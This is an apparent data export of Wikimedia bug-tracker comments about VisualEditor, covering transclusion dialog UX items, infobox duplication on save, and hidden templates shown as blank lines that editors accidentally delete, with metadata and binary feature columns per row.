+So, closing as INVALID.",,,1377905614,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-q46agi2mree3c3qnk2y4,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,0,1,1,1,0,0,1
+253336,VisualEditor: Quick transclusion dialog UX improvements,Have un-trackered-this;,,,1377900084,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-q46agi2mree3c3qnk2y4,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+253328,VisualEditor: Quick transclusion dialog UX improvements,"UX items at this point:
+
+| Template panel:
+| * Move “add parameter” button to alongside the search field, not below the results list, so it can be found
+| * Link to the template page (if it's a transclusion from a MediaWiki page)
+| * Link to the MediaWiki.org Manual (if it's a parser function)
+| * Use ""Param#required"" data to prioritise/encourage use of those parameters
+| * Use ""Root#sets"" data to allow addition and/or completion of parameter sets
+| * Auto-add required parameters when creating a new Template transclusion
+| * Double-click on a parameter in the selection menu should insert it
+| * Up/down keys work in the parameter search field results, but not left/right, even though it’s not just a vertical list
+| * Cursor keys can let you select parameters in the search results off the screen and the dialog doesn’t scroll
+| * When adding a template, auto-add all mandatory parameters
+| * Checkbox (?) to substitute a template on save, rather than leave as transclusion 
+| 
+| Parameter panel:
+| * Use ""Param#required"" from TemplateData
+| * Use ""Param#default"" from TemplateData
+| * Use ""Param#deprecated"" from TemplateData
+| * Use ""Param#type"" from TemplateData",,,1373390839,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-q46agi2mree3c3qnk2y4,task_subcomment,,True,c1,3,True,,,1,,1,0,0,1,1,1,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+253322,VisualEditor: Quick transclusion dialog UX improvements,"updated:
+
+Template panel:
+* Link to the template page (if it's a transclusion from a MediaWiki page)
+* Link to the MediaWiki.org Manual (if it's a parser function)
+* Use ""Root#description"" from TemplateData: Done.
+
+Parameter panel:
+* Use ""Param#label"" from TemplateData: Done.
+* Use ""Param#description"" from TemplateData: Done.
+* Use ""Param#required"" from TemplateData: TODO.
+* Use ""Param#default"" from TemplateData: TODO.
+* Use ""Param#deprecated"" from TemplateData: TODO.
+* Use ""Param#type"" from TemplateData: TODO.
+
+""Add parameter"" panel:
+* Show available (unused) parameters
+* Use ""Param#required"" data to prioritise/encourage use of those parameters
+* Use ""Root#sets"" data to allow addition and/or completion of parameter sets
+* Creating a new Template transclusion should start with all required parameters auto-inserted (instead of requiring the user to add them one-by-one).",,,1372115134,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-q46agi2mree3c3qnk2y4,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+51823,Infobox is duplicated and duplicate is substed,"In these two edits made with VisualEditor, the infobox was duplicated on save and the duplicate was actually subst'd into the infobox's table:
+https://fr.wikipedia.org/w/index.php?diff=94112508
+https://fr.wikipedia.org/w/index.php?diff=94163787
+
+The behavior seems to be inconsistent since in the first case, the duplicate was inserted right after the infobox, and in the second case, it was inserted after the first paragraph
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Medium,50.0,1371653940,1373519486.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-ju3g2oypj6sg3qneywp4,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+252816,Infobox is duplicated and duplicate is substed,We believe that these cases have now been fixed (though we may be wrong). Please re-open if so.,,,1373519486,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ju3g2oypj6sg3qneywp4,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+252809,Infobox is duplicated and duplicate is substed,"Another infobox duplicated while the editor is touching something else (not the infobox):
+
+https://ca.wikipedia.org/w/index.php?title=Hurac%C3%A0_de_Cuba_de_1910&diff=11973992&oldid=11973843
+
+Duplication of infoboxes is a big deal, very visible and annoying for editors that have to go and change back. Defining importance just in case this report was unnoticed, although of course this is a call for JamesF.  :)",,,1372611006,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ju3g2oypj6sg3qneywp4,task_subcomment,,True,c1,2,False,,,-1,,0,1,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+51806,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"Hidden templates, like Template:Use British English, are displaying as carriage returns. These are pretty easy to mistakenly identify as typos or errors and delete. We need a better way of displaying those within the VE, or (as a long-term goal) a better way of surfacing metadata, a la the ""page settings"" page.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49603
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53659",Medium,50.0,1371640200,1425595037.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-fismtah5nhz3jechnxci,task_description,resolved,True,c1,2,False,False,False,-2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+425589,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"There is a curious case of the template: https://test2.wikipedia.org/wiki/Template:No_spam  {{@}}. 
+Inserting {{@}}  will display the icon, just as for the hidden template: 'Use British English'. 
+
+Is it intentional? 
+",,,1426194482,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,88,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,0,1,0,0,0
+424617,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"After a page is Saved, and then switch to Edit mode - the icon for Hidden template is not displayed. Saw it in Chrome.",,,1426093128,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,88,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+422065,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),{F56750}?,,,1425633018,,PHID-USER-tjeabpzbwsqw3xciydvb,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,87,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+421849,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"Change 193975 merged by jenkins-bot:
+Add an icon to hidden templates
+
+[[https://gerrit.wikimedia.org/r/193975]]",,,1425595128,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,87,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+419580,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"We have a general ""template"" icon, adding @violetto to point to the right asset. ",,,1425336374,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,87,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,1,1,0,0,1,0,1,0,0,0
+419570,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"Change 193975 had a related patch set uploaded (by Mooeypoo):
+Add an icon to hidden templates
+
+[[https://gerrit.wikimedia.org/r/193975]]
+",,,1425335832,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,87,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+251654,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),*** Bug 72963 has been marked as a duplicate of this bug. ***,,,1415129033,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,70,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+251648,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"As an additional item (from bug 51978 comment 6):
+
+> Using the {{כ}} template works correctly while editing articles, and the
+> original test page https://he.wikipedia.org/wiki/User:Amire80/ve-rlm shows
+> everything correctly.
+>
+> That said, there are issues with handling this template after it's inserted:
+> * The bubble that shows its name appears in a wrong location.
+
+This is related to this bug – the context seems to find the nearest thing that actually displays and attaches to that. When we display a place for the context to show, it will presumably show there. :-)",,,1407754116,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,58,,0,1,0,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,1
+251641,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"Hi James. Thanks for the explanation. Today I learned the word ""slugs"". To me they are sufficiently clear that those aren't white space but something different. Some vocal users on nl.wp portray slugs as ""ugly white rows"" and fear accidental deletion, the examples provided that would be images. I will continue discussion on bug 47790 and bug 55336 about accidental deletion of FocusableNodes. I've seen a live case in which slugs cannot be deleted. However the cases mentioned above can be.",,,1405114018,,PHID-USER-mcyovqjor52nj3se4lq7,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,53,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,0
+251633,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"(In reply to Ad Huikeshoven from comment #23)
+> Ok to take the conversation there. I've read through bug 47790 and the
+> reported issues are more or less the same. Bug 47790 is solved. What is the
+> timeline of deployment?
+
+It's already deployed.
+
+It was deployed to MediaWiki.org on 6 March 2014 (see the ""Milestone"" field), so it would have reached the Dutch Wikipedia a week later, on 13 March 2014.
+
+That's what I meant by ""This feels like you don't think the resolution to bug 47790 in March was sufficient"". :-)",,,1405095333,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,53,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,0,1,0,1
+251626,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),Ok to take the conversation there. I've read through bug 47790 and the reported issues are more or less the same. Bug 47790 is solved. What is the timeline of deployment?,,,1405090910,,PHID-USER-mcyovqjor52nj3se4lq7,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,53,,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,1,0,0,0,1,0,0
+251620,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"(In reply to Ad Huikeshoven from comment #21)
+> On nl.wp a discussion has started to turn on VE. In the process feedback has
+> been collected on VE. Some users commented on ""white lines"" as a blocking
+> issue for turning VE on as default. 
+> On top of pages like:
+> * https://nl.wikipedia.org/wiki/Bali_%28eiland%29?veaction=edit
+> * https://nl.wikipedia.org/wiki/Justine_Henin?veaction=edit
+> * https://nl.wikipedia.org/wiki/Rijn?veaction=edit
+> * https://nl.wikipedia.org/wiki/Brussels_Hoofdstedelijk_Gewest?veaction=edit
+> * https://nl.wikipedia.org/wiki/Antwerpen_%28stad%29?veaction=edit
+> as well as on other places on the page ""white lines"" or carriage returns
+> appear in VE edit mode which do not appear in read mode. On mouse over the
+> white line turns blue. 
+> 
+> Some users fear that newcomers others will delete those white lines and
+> carriage returns. However, after deletion of those lines images are
+> accidently deleted from the page.
+> 
+> (Deleting white space at the bottom of a page might also delete accidently
+> categories and other metadata.)
+> 
+> How can I help to resolve this 'bug'?
+
+This feels like you don't think the resolution to bug 47790 in March was sufficient; I'm not sure that this has anything to do with this bug, however. Take the conversation there?",,,1405021766,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,53,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,0,0,0,1,0,1,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+251614,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"On nl.wp a discussion has started to turn on VE. In the process feedback has been collected on VE. Some users commented on ""white lines"" as a blocking issue for turning VE on as default. 
+On top of pages like:
+* https://nl.wikipedia.org/wiki/Bali_%28eiland%29?veaction=edit
+* https://nl.wikipedia.org/wiki/Justine_Henin?veaction=edit
+* https://nl.wikipedia.org/wiki/Rijn?veaction=edit
+* https://nl.wikipedia.org/wiki/Brussels_Hoofdstedelijk_Gewest?veaction=edit
+* https://nl.wikipedia.org/wiki/Antwerpen_%28stad%29?veaction=edit
+as well as on other places on the page ""white lines"" or carriage returns appear in VE edit mode which do not appear in read mode. On mouse over the white line turns blue. 
+
+Some users fear that newcomers others will delete those white lines and carriage returns. However, after deletion of those lines images are accidently deleted from the page.
+
+(Deleting white space at the bottom of a page might also delete accidently categories and other metadata.)
+
+How can I help to resolve this 'bug'?",,,1405021269,,PHID-USER-mcyovqjor52nj3se4lq7,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,53,,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0
+251609,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),*** Bug 52551 has been marked as a duplicate of this bug. ***,,,1393529166,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,34,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+251603,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),*** Bug 60830 has been marked as a duplicate of this bug. ***,,,1393271674,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,34,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+251597,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"> > A work around for this allowing you to add and not delete stuff you've added
+> > would be to make their removal undoable. Not ideal but better than nothing.
+> 
+> Though the problem is that you don't know you've removed them until you
+> realise
+> on saving the page that something you thought you'd added isn't there! A
+> message like ""removing invisible template: are you sure?"" would be helpful.
+
+Yes. Although reading comment 15 again I meant to say ""make their addition undoable."" (not removal). Sorry for the confusion.",,,1376642559,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,6,,0,1,0,0,1,1,1,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,0,1,1,0,1,0,0,1,1,1,1,0,1
+251591,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),*** Bug 52658 has been marked as a duplicate of this bug. ***,,,1376609977,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,6,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+251585,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"> 
+> A work around for this allowing you to add and not delete stuff you've added
+> would be to make their removal undoable. Not ideal but better than nothing.
+
+Though the problem is that you don't know you've removed them until you realise on saving the page that something you thought you'd added isn't there! A message like ""removing invisible template: are you sure?"" would be helpful.",,,1375472168,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,4,,0,1,0,0,1,1,1,0,1,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,1,1,1,1,0,1
+251579,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"PamD at en.wp complains that:
+""[When] I add invisible matter to an article (eg {{coord missing}}), it's too easy to delete it later in the same edit while ""tidying up"" blank lines etc.""
+
+Suggestions have been made above about how to deal with this in advance of working out how to display hidden templates, e.g. in comment 9. 
+
+Alternatively invisible templates could just be declared not deletable in VE (i.e. just treat them like nowikis). It will occasionally leave unnecessary templates in but that is going to be far rarer than deleting them without meaning or even knowledge as happens now.
+
+A work around for this allowing you to add and not delete stuff you've added would be to make their removal undoable. Not ideal but better than nothing.",,,1375471087,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+251573,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"Regarding the English language variable templates specifically, it would be great if these were handled by pushing it into a meta tag (bug 52166) and incorporate it into page settings.
+
+Regarding top icons, there is a core enhancement for a pre-defined area for these icons (bug 23796), and a VE enhancement request to do the same (bug 51420).
+
+Regarding others, a puzzle piece sounds like a great UI for it.  Or a custom icon defined in TemplateData?",,,1374978010,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+251567,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),*** Bug 51322 has been marked as a duplicate of this bug. ***,,,1374447614,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+251560,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),Whatever solution is here should also apply to templates that normally produce text but have been created empty for whatever reason. For example it is possible to add a {{small}} template with no text to display.,,,1374427617,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+251553,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),FYI: I count 3 reports in the last 10 posts on WP:VP/T today related to accidental 'hidden' or 'floating' templates deletion.,,,1374261491,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+251547,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),*** Bug 49633 has been marked as a duplicate of this bug. ***,,,1374086311,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+251540,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"Why not allowing deletion of a template by keyboard only if the template is selected, not just if the cursor if just before or after the template ?
+I don't know if it's difficult to implement, but that would help preventing accidental deletions.",,,1373895714,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
